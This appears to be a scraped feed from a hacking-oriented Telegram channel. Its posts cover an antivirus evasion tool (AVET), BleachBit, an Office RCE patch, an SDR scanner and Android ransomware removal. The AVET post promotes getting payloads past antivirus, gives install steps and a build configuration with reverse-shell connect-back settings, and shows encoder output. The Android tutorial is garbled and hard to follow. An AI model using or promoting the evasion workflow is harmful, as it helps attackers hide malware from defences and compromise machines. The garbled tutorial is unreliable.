UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 updated AntiVirus Evasion Tool
t.me/undercodeTesting

🦑 features:

1) when running a .exe file made with msfpayload & co, the file will often be recognized by antivirus software

2) AVET is an antivirus evasion tool targeting windows machines with executable files

3) different kinds of input payloads can be used now: shellcode, exe and dlls

4) more techniques available: shellcode/dll injection, process following and more

5) flexible retrieval methods for payload, decryption key, etc.
usage as a dropper

6) Chaining multiple iterations of AVET enables you to add multiple evasion layers, if necessary

7) combination of techniques: download your encrypted payload via powershell, while supplying the decryption key via command line argument at execution time, and finally inject your payload into another process, choosing from multiple techniques
basic sandbox checks

8) executie all available build scripts with build_script_tester.py, might also be interesting for researchers for building a set of "malicious" samples using different evasion and injection techniques

🦑𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/govolution/avet.git

2) cd avet

3) ./setup.sh

4) then run as python python3 avet.py

🦑how to use ?

# build the .exe file that loads the payload from a given text file

Configure the Build Script

# override connect-back settings here, if necessary
-> LPORT=443
-> LHOST=192.168.56.101

# no command preexec
-> set_command_source no_data
-> set_command_exec no_command

# enable debug output
-> enable_debug_print

Executable will be created Shortly please wait.

Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 692 (iteration=0)
x86/shikata_ga_nai chosen with final size 692
Payload size: 692 bytes
Final size of c file: 2933 bytes

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

92 views15:08

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

86 views15:08

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑2020 updated BleachBit system cleaner for Windows and Linux
twitter.com/undercodeNews

🦑𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/bleachbit/bleachbit

2) cd bleachbit

3) to run BleachBit without installation, unpack the tarball and then run these commands:

4) make -C po local # build translations
python3 bleachbit.py
Then, review the preferences.

5) Then, select some options, and click Preview. Review the files, toggle options accordingly, and click Delete.

6) For information regarding the command line interface, run:

python3 bleachbit.py --help

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

Twitter

UNDERCODE NEWS (@UndercodeNews) | Twitter

The latest Tweets from UNDERCODE NEWS (@UndercodeNews). We provides you daily hacking News & Security Warning & Technologies news & Bugs reports & Analysis... @UndercodeNews @UndercodeUpdate @iUndercode @DailyCve. Aus/Leb

93 views15:08

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

101 views15:08

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑hack news :Microsoft releases emergency update to fix RCE vulnerabilities in Office and Paint 3D applications
recently from undercode tweets

🦑Microsoft

1) Microsoft explained in its announcement that if an attacker successfully exploited the aforementioned vulnerability, he would be able to obtain the same permissions as the logged-in user, which means that malicious actors can even obtain administrator permissions on the affected machine.

2) Microsoft explained: "There are multiple remote code execution vulnerabilities in Microsoft products, and there will be problems in calling the FBX library when processing certain specially crafted 3D content. An attacker who successfully exploited these vulnerabilities could obtain the same user as the local user. Permissions. For users with fewer permissions, the impact may be smaller. "

3) Microsoft said: "To exploit these vulnerabilities, an attacker must send a specially crafted file containing 3D content to the user and convince the user to open the file. The emergency security update released this time has fixed these vulnerabilities by fixing Microsoft software."

4) These security patches are rated as "Important". It is reported that Microsoft Office 2016, Microsoft Office 2019 and Office 365 ProPlus are affected by the vulnerability.

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

104 views15:08

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

104 views15:08

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 frequency scanning GUI for the OsmoSDR rtl-sdr library -termux root & linux :
t.me/undercodeTesting

🦑Tested on:

Windows 7 (x86 and x64)
Windows 8.1 (x64)
Ubuntu 12.04 (x86)
Ubuntu 12.10 (x64)
Ubuntu 13.04 (x64)
Ubuntu 14.04 (x64)
OS X Snow Leopard
OS X Mountain Lion

🦑𝕀ℕ𝕊𝕋𝔸𝕃𝕃𝕀𝕊𝔸𝕋𝕀𝕆ℕ & ℝ𝕌ℕ :

1) git clone https://github.com/EarToEarOak/RTLSDR-Scanner

2) cd RTLSDR-Scanner

3) Run 'python -m rtlsdr_scanner'.

To start a scan simple enter the range at the bottom of the window and click 'Start', after a while a plot of signal strengths should be displayed.

'Dwell' controls how long each step is sampled for, longer times will result in more averaging of the signal.

'Continuous update' updates the display on each step. Caution only use this with small scans and low dwell times, otherwise it will become unresponsive.

'Grid' displays a grid on the scan plot.

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

135 views15:08

UNDERCODE COMMUNITY

138 views19:13

UNDERCODE COMMUNITY

148 views19:13

UNDERCODE COMMUNITY

🦑we don t sell we send free
t.me/UndercodeTesting

153 views19:13

UNDERCODE COMMUNITY

This media is not supported in your browser

VIEW IN TELEGRAM

137 views21:53

UNDERCODE COMMUNITY

▁ ▂ ▄ ｕ𝕟𝔻Ⓔ𝐫Ć𝔬𝓓ⓔ ▄ ▂ ▁

🦑 Android unlock crack method by undercode :
> Ransomware when your Android phone is locked? Can you only give money obediently? Take a look at this tutorial to crack the unlock method, and then pack all the tools together!

🦑 REQUIRED TOOLS :

> Android emulator (RE file manager)

> Huawei ADB driver

> ApkIDE less month version

🦑𝕃𝔼𝕋' 𝕊 𝕊𝕋𝔸ℝ𝕋 :

1) First, after running the main program to get the ROOT program, the phone will be automatically restarted after it is stuck, and then you will get the following directly

2) Start learning to decompress because the virus of the previous author directly obtains an SO file to decompress to get the installation package, and then directly run the tool to get the process name, disable and delete it (I just stuck this step for an afternoon) I started to simply think that it was over The main program can be opened,

<> Then decompile wifikill pro to get smdev.wifikillpro.com, then run am force-stop smdev.wifikillpro.com and found that it is not useful! I am desperate!

3) hen go to the big file in the main program to change it to ZIP, and then use the Android emulator to get the virus program released by the main program

> Forgot to install the file manager at the beginning of the Android emulator test,

It took many and many times to submit the package of the virus program

4) After obtaining the basic information of the virus program, you can perform a decompilation: cia.apk (virus package name) com....

> Start process killing and virus deletion. Return to the "Mobile Sample Analysis" command to ban the virus program, and then go to the mobile phone homepage > see screanshoat by undercode

>

160 views21:53

UNDERCODE COMMUNITY

135 views21:53

About

Blog

Apps

Platform